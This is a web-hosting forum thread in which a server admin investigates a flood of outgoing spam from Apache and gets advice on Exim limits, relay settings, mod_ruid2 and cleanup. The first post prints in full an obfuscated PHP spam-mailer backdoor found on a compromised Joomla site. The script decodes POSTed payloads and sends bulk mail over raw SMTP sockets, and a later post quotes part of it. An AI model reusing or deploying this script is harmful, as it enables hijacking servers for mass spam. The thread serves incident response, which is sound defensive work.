Outgoing Spam from Apache Queued as Unrouetable Address

[orkinoks]

Hi,
I have been living happily after disabling mail() and local relay for a while but
I noticed that there is 70.000 messages in mail queue this morning. The server denies local relay with

hostlist relay_hosts = net-lsearch;/etc/virtual/pophosts

in exim.conf and daily mail sending limit is 500 in Admin settings. It looks like there is a php code somehow putting mails to queue even local relay is off. But as the daily limit is 500, only the first 500 message is realy sent and we end up with thousands of e-mails in the queue with unroutable address message. The interesting part is there is "Received from apache" line in mail header. I don't know if it is the apache user or the apache process mentioned here, we have php as suphp running on this machine, so technically it shouldn't be the apache user. Also all the addresses in from part is non-existing e-mail addresses, so it is definite that these mails arent sent from SMTP service.

Here is the log sample.

2013-09-14 07:59:37 1VKhxJ-0008WS-3q ** sasha_johns@[virtualdomain].com F=<> R=virtual_aliases:
2013-09-14 07:59:37 1VKhxJ-0008WS-3q Frozen (delivery error message)
2013-09-14 07:59:37 1VKhxJ-0008WQ-3j failed to expand condition "${perl{check_limits}}" for lookuphost router: You (*********) have reach your daily email limit of 500 emails

2013-09-14 07:59:37 1VKhxJ-0008WQ-3j ** [email protected] F=<sasha_johns@[virtualdomain].com>: Unrouteable address
2013-09-14 07:59:37 1VKhxJ-0008WL-39 Completed
2013-09-14 07:59:37 1VKhxJ-00004r-4h <= <> R=1VKhxJ-0008WQ-3j U=mail P=local S=1870 T="Mail delivery failed: returning message to sender" from <> for sasha_johns@[virtualdomain].com
2013-09-14 07:59:37 1VKhxJ-0008WQ-3j Completed

Here is the content of the mail file.

1VKaX0-0007tL-N1-D
This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

  [email protected]
    Unrouteable address

------ This is a copy of the message, including all the headers. ------

Return-path: <paige_cohen@[virtualdomain].com>
Received: from apache by [server_hostname] with local (Exim 4.72)
        (envelope-from <paige_cohen@[virtualdomain].com>)
        id 1VKaX0-0007tG-MQ
        for [email protected]; Sat, 14 Sep 2013 00:03:58 +0300
Date: Sat, 14 Sep 2013 00:03:58 +0300
Message-Id: <E1VKaX0-0007tG-MQ@[server_hostname]>
To: "Maximi Gerre" <[email protected]>
Subject:  Hot brandi ********
X-PHP-Originating-Script: 101:checkoutuM1.php
From: "Paige Cohen" <paige_cohen@@[virtualdomain].com>
Reply-To: "Paige Cohen" <paige_cohen@@[virtualdomain].com>
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

Here is the content of the php file which was uploaded to one of the non-updated joomla sites. (what a surprise)

<?php
@error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); 
if (count($_POST) < 2) { die(PHP_OS.chr(49).chr(48).chr(43).md5(0987654321)); } $v5031e998 = false; 
foreach (array_keys($_POST) as $v3c6e0b8a) { switch ($v3c6e0b8a[0]) 
{ case chr(108): $vd56b6998 = $v3c6e0b8a; break; case chr(100): $v8d777f38 = $v3c6e0b8a; break; case chr(109): $v3d26b0b1 = $v3c6e0b8a; break;
 case chr(101); $v5031e998 = true; break; } } 
if ($vd56b6998 === '' || $v8d777f38 === '') 
die(PHP_OS.chr(49).chr(49).chr(43).md5(0987654321)); $v619d75f8 = preg_split('/\,(\ +)?/', @ini_get('disable_functions')); 
$v01b6e203 = @$_POST[$vd56b6998]; $v8d777f38 = @$_POST[$v8d777f38]; 
$v3d26b0b1 = @$_POST[$v3d26b0b1]; if ($v5031e998) { $v01b6e203 = n9a2d8ce3($v01b6e203); 
$v8d777f38 = n9a2d8ce3($v8d777f38); $v3d26b0b1 = n9a2d8ce3($v3d26b0b1); } 
$v01b6e203 = urldecode(stripslashes($v01b6e203)); $v8d777f38 = urldecode(stripslashes($v8d777f38)); 
$v3d26b0b1 = urldecode(stripslashes($v3d26b0b1)); 
if (strpos($v01b6e203, '#',1) != false) { $v16a9b63f = preg_split('/#/', $v01b6e203); $ve2942a04 = count($v16a9b63f); } 
else { $v16a9b63f[0] = $v01b6e203; $ve2942a04 = 1; } 
for ($v865c0c0b=0; $v865c0c0b < $ve2942a04;$v865c0c0b++) { $v01b6e203 = $v16a9b63f[$v865c0c0b]; 
if ($v01b6e203 == '' || !strpos($v01b6e203,'@',1)) continue; if (strpos($v01b6e203, ';', 1) != false)
 { list($va3da707b, $vbfbb12dc, $v081bde0c) = preg_split('/;/',strtolower($v01b6e203)); 
$va3da707b = ucfirst($va3da707b); $vbfbb12dc = ucfirst($vbfbb12dc); 
$v3a5939e4 = next(explode('@', $v081bde0c)); 
if ($vbfbb12dc == '' || $va3da707b == '') { $vbfbb12dc = $va3da707b = ''; 
$v01b6e203 = $v081bde0c; } else { $v01b6e203 = "\"$va3da707b $vbfbb12dc\" <$v081bde0c>"; } } 
else { $vbfbb12dc = $va3da707b = ''; $v081bde0c = strtolower($v01b6e203); 
$v3a5939e4 = next(explode('@', $v01b6e203)); } preg_match('|<USER>(.*)</USER>|imsU', $v8d777f38, $vee11cbb1); 
$vee11cbb1 = $vee11cbb1[1]; preg_match('|<NAME>(.*)</NAME>|imsU', $v8d777f38, $vb068931c); 
$vb068931c = $vb068931c[1]; preg_match('|<SUBJ>(.*)</SUBJ>|imsU', $v8d777f38, $vc34487c9); 
$vc34487c9 = $vc34487c9[1]; preg_match('|<SBODY>(.*)</SBODY>|imsU', $v8d777f38, $v6f4b5f42); 
$v6f4b5f42= $v6f4b5f42[1]; 
$vc34487c9 = str_replace("%R_NAME%", $va3da707b, $vc34487c9); 
$vc34487c9 = str_replace("%R_LNAME%", $vbfbb12dc, $vc34487c9); 
$v6f4b5f42 = str_replace("%R_NAME%", $va3da707b, $v6f4b5f42); 
$v6f4b5f42 = str_replace("%R_LNAME%", $vbfbb12dc, $v6f4b5f42); 
$v0897acf4 = preg_replace('/^(www|ftp)\./i', '', @$_SERVER['HTTP_HOST']); 
if (ne667da76($v0897acf4) || @ini_get('safe_mode')) $v10497e3f = false; 
else $v10497e3f = true; $v9a5cb5d8 = "$vee11cbb1@$v0897acf4"; 
if ($vb068931c != '') $vd98a07f8 = "$vb068931c <$v9a5cb5d8>"; 
else $vd98a07f8 = $v9a5cb5d8; 
$vb8ddc93f = "From: $vd98a07f8\r\n"; $vb8ddc93f .= "Reply-To: $vd98a07f8\r\n"; $v3c87b187 = "X-Priority: 3 (Normal)\r\n"; $v3c87b187 .= "MIME-Version: 1.0\r\n"; 
$v3c87b187 .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n"; 
$v3c87b187 .= "Content-Transfer-Encoding: 8bit\r\n"; if (!in_array('mail', $v619d75f8)) 
{ if ($v10497e3f) { if (@mail($v01b6e203, $vc34487c9, $v6f4b5f42, $vb8ddc93f.$v3c87b187, "-f$v9a5cb5d8"))
 { echo(chr(79).chr(75).md5(1234567890)."+0\n"); continue; } } 
else { if (@mail($v01b6e203, $vc34487c9, $v6f4b5f42, $v3c87b187))
 { echo(chr(79).chr(75).md5(1234567890)."+0\n"); continue; } } }
 $v4340fd73 = "Date: " . @date("D, j M Y G:i:s O")."\r\n" . $vb8ddc93f; 
$v4340fd73 .= "Message-ID: <".preg_replace('/(.{7})(.{5})(.{2}).*/', '$1-$2-$3', md5(time()))."@$v0897acf4>\r\n"; 
$v4340fd73 .= "To: $v01b6e203\r\n"; 
$v4340fd73 .= "Subject: $vc34487c9\r\n"; 
$v4340fd73 .= $v3c87b187; 
$v841a2d68 = $v4340fd73."\r\n".$v6f4b5f42; 
if ($v3d26b0b1 == '') $v3d26b0b1 = n9c812bad($v3a5939e4);
 if (($vb4a88417 = n7b0ecdff($v9a5cb5d8, $v081bde0c, $v841a2d68, $v0897acf4, $v3d26b0b1)) == 0)
 { echo(chr(79).chr(75).md5(1234567890)."+1\n"); continue; }
 else { echo PHP_OS.chr(50).chr(48).'+'.md5(0987654321)."+$vb4a88417\n"; } } 
function ne667da76($v957b527b){ return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $v957b527b); }
 function na73fa8bd($vb45cffe0, $v11a95b8a = 0, $v7fa1b685="=\r\n", $v92f21a0f = 0, $v3303c65a = false) 
{ $vf5a8e923 = strlen($vb45cffe0); $vb4a88417 = ''; for($v865c0c0b = 0; $v865c0c0b < $vf5a8e923; $v865c0c0b++)
 { if ($v11a95b8a >= 75) { $v11a95b8a = $v92f21a0f; $vb4a88417 .= $v7fa1b685; } 
$v4a8a08f0 = ord($vb45cffe0[$v865c0c0b]); 
if (($v4a8a08f0 == 0x3d) || ($v4a8a08f0 >= 0x80) || ($v4a8a08f0 < 0x20)) 
{ if ((($v4a8a08f0 == 0x0A) || ($v4a8a08f0 == 0x0D)) && (!$v3303c65a)) 
{ $vb4a88417.=chr($v4a8a08f0); $v11a95b8a = 0; continue; }
 $vb4a88417 .='='.str_pad(strtoupper(dechex($v4a8a08f0)), 2, '0', STR_PAD_LEFT);
 $v11a95b8a += 3; continue; } $vb4a88417 .= chr($v4a8a08f0); $v11a95b8a++; } 
return $vb4a88417; } 
function n7b0ecdff($vd98a07f8, $v01b6e203, $v841a2d68, $v0897acf4, $v3d26b0b1) 
{ global $v619d75f8; 
if (!in_array('fsockopen', $v619d75f8)) $v66b18866 = @fsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20);
 elseif (!in_array('pfsockopen', $v619d75f8)) $v66b18866 = @pfsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20); 
elseif (!in_array('stream_socket_client', $v619d75f8) && function_exists("stream_socket_client")) $v66b18866 = @stream_socket_client("tcp://$v3d26b0b1:25", $v70106d0d, $v809b1abe, 20);
 else return -1; if (!$v66b18866) { return 1; }
 else { $v8d777f38 = n54070395($v66b18866); @fputs($v66b18866, "EHLO $v0897acf4\r\n");
 $ve98d2f00 = n54070395($v66b18866); 
if (substr($ve98d2f00, 0, 3) != 250 ) return "2+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00);
 @fputs($v66b18866, "MAIL FROM:<$vd98a07f8>\r\n"); 
$ve98d2f00 = n54070395($v66b18866); 
if (substr($ve98d2f00, 0, 3) != 250 ) return "3+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); 
@fputs($v66b18866, "RCPT TO:<$v01b6e203>\r\n");
 $ve98d2f00 = n54070395($v66b18866);
 if (substr($ve98d2f00, 0, 3) != 250 && substr($ve98d2f00, 0, 3) != 251)
 return "4+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); 
@fputs($v66b18866, "DATA\r\n"); 
$ve98d2f00 = n54070395($v66b18866); 
if (substr($ve98d2f00, 0, 3) != 354 ) 
return "5+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); 
@fputs($v66b18866, $v841a2d68."\r\n.\r\n"); $ve98d2f00 = n54070395($v66b18866); 
if (substr($ve98d2f00, 0, 3) != 250 ) return "6+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); 
@fputs($v66b18866, "QUIT\r\n"); @fclose($v66b18866); return 0; } } 
function n54070395($v66b18866) { $v8d777f38 = ''; 
while($v341be97d = @fgets($v66b18866, 4096)) { $v8d777f38 .= $v341be97d;
 if(substr($v341be97d, 3, 1) == ' ') break; } return $v8d777f38; }
 function n9c812bad($vad5f82e8) { global $v619d75f8; if (!in_array('getmxrr', $v619d75f8) && function_exists("getmxrr")) 
{ @getmxrr($vad5f82e8, $v744fa43b, $v6c5ea816); 
if (count($v744fa43b) === 0) return '127.0.0.1'; 
$v865c0c0b = array_keys($v6c5ea816, min($v6c5ea816)); 
return $v744fa43b[$v865c0c0b[0]]; } else { return '127.0.0.1'; } } 
function n9a2d8ce3($v1cb251ec) { $v1cb251ec = base64_decode($v1cb251ec); 
$vc68271a6 = ''; for($v865c0c0b = 0; $v865c0c0b < strlen($v1cb251ec);
 $v865c0c0b++) $vc68271a6 .= chr(ord($v1cb251ec[$v865c0c0b]) ^ 2); return $vc68271a6; } ?>

Any help would be much appreciated if it is something that I am missing.The php code above is a real mass I can't figure out what it is doing since I am not a developed PHP developer. If this is a new way of skipping spamblocker, may this post be my security update for Spamblocker's developer.

 

[nobaloney]

Check to see if you have a file at /etc/virtual/limit. If you do, then the number in this file is the amount of outgoing emails any user without it's own /etc/virtual/limit_USERNAME file is allowed to send. What's probably happening is one of your accounts is hacked, either by somehone having the user password or by compromised software installed at the user site, and is sending massive amounts of spam. In that event once the limit is reached all other email will be refused as unrouteable, and if the sender address doesn't exist, it will get stuck in the queue.

Other threads in these forums will explain how to clear the queue.

Jeff

 

[orkinoks]

Hello Jeff,
thanks for the description. I thought that,the user limit in /etc/virtual/limit is not considered somehow and the message is actually received and than denied by the exim with a message of unroutable address. Clearly I was mistaken. Is there any setting that we can switch on/off to avoid creation of unroutable address messages after the daily sending limit is reached, especially to the non-existing addresses perhaps?

 

[nobaloney]

Yes, but only by completely rewriting how the overlimit implementation works. So not easy.

Apache is likely running either a legitimate script installed by your user, or installed by a spammer. Being used by a spammer to send spam. Find it, (may not be easy) and if it's not protected against sending spam disable it and notify your user of the problem (to disable it, chmod it 000). Much easier to find such scripts if you're using mod_ruid2, by the way.

Jeff

 

[orkinoks]

Hello,
Jeff, thanks a lot, I really apprecciate your help.

I already found the script and disabled it as you adviced before opening the thread. You may also find the php code sending the spam in my first message. What I wonder is, how did this php code managed to skip our local relay policy which is set in exim.conf (local relay is disabled with this line => hostlist relay_hosts = net-lsearch;/etc/virtual/pophosts ) and mail() and sendmail() functions are disabled. I thought that it would be enough for forcing users to use SMTP authentication, but clearly apache can still send emails and exim accepts them without the authentication even with this settings. That is why I thought that it may be a security concern. This part of the php code took my attention.

if (!in_array('fsockopen', $v619d75f8)) $v66b18866 = @fsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20); 
 elseif (!in_array('pfsockopen', $v619d75f8)) $v66b18866 = @pfsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20);  
elseif (!in_array('stream_socket_client', $v619d75f8) && function_exists("stream_socket_client")) $v66b18866 = @stream_socket_client("tcp://$v3d26b0b1:25", $v70106d0d, $v809b1abe, 20);

It's really hard to track what the code but it looks like the code is trying to open a tcp connection to port 25 using fsockopen or stream_socket_client functions and somehow does it. If there isn't anything I miss, it bypasses exims authentication successfully, becouse the first 500 messages are realy sent out and than we start to get unroutable address messages. That's why I wrote the spamblocker may need a security update in my first message.

 

[nobaloney]

SpamBlocker will always need security updates, but it was never designed to block outgoing spam; it's designed to block incoming messages. It uses a reputation system (checks blocklists) and simply blocks messages sent by senders with poor reputations.

Obviously it can't block outgoing spam that way. There are plenty of other tools available, including limiters and heuristic checking. I don't think I ant to completely rewrite SpamBlocker to use different methods. Of course no reason why you can't ).

Exim is well protected against sending spam, and if someone has found their way around exim's protections the developers and others in the exim community would e happy to work on it. Perhaps you should post on the exim-users mailing list.

Jeff

 

[toml]

It is most likely attempting to be delivered due to the:
domainlist relay_domains = lsearch;/etc/virtual/domains : localhost
line in the exim.conf since it is originating from the localhost. You really don't want to disable that, since any system generated emails would then need to be authenticated.

The php script you posted, is obfuscated to prevent you from really knowing what it is trying to do, it is pretty common practice for spammers. You stopped the outgoing spam, and now it is time to clean up the mess it caused (RBL lists, mail queue, reputation,etc). Plus it is a wise idea to find out how that script got on the server in the first place, either your customer put it there or a spammer hacked your server to put it there, or a spammer obtained a username/password and was able to easily put it it on the server. The only way to know is to scour the log files for ftp or directadmin to see how it was uploaded.

If it was via ftp and you don't see any brute force or any hacking attempts to get get in, then most likely it was put there by the customer or the customer may have been infected with some sort of malware that sent the ftp passwords to a spammer, most likely a saved entry for Filezilla since they store their passwords in plain text (extremely insecure). If that is the case change the ftp password notify the customer and monitor the account(s) for any other suspicious activity.

If the system was hacked then you need to patch the compromised package so they can't just come back in and redo their spamming system.

Also go through your apache logs and see if you see the same IP addresses hitting that spamming script and block them with iptables or whatever firewall your OS provides.

 

[orkinoks]

Thank you guys.

 

[nobaloney]

If you haven't already done so you might consider running php as mod_ruid2; then generally the logs will include the username of the account which was sending the spam; makes it much easier to find these sorts of attacks.

Jeff

 

[orkinoks]

Thank you John. We were using suphp upto now but thanks to another thread on the forum I've learned that suphp is not going to be developed any more.
It's time to switch to mod_ruid2 I guess.

Note : I was able to find the outgoing spammer account, but thanks for your advice.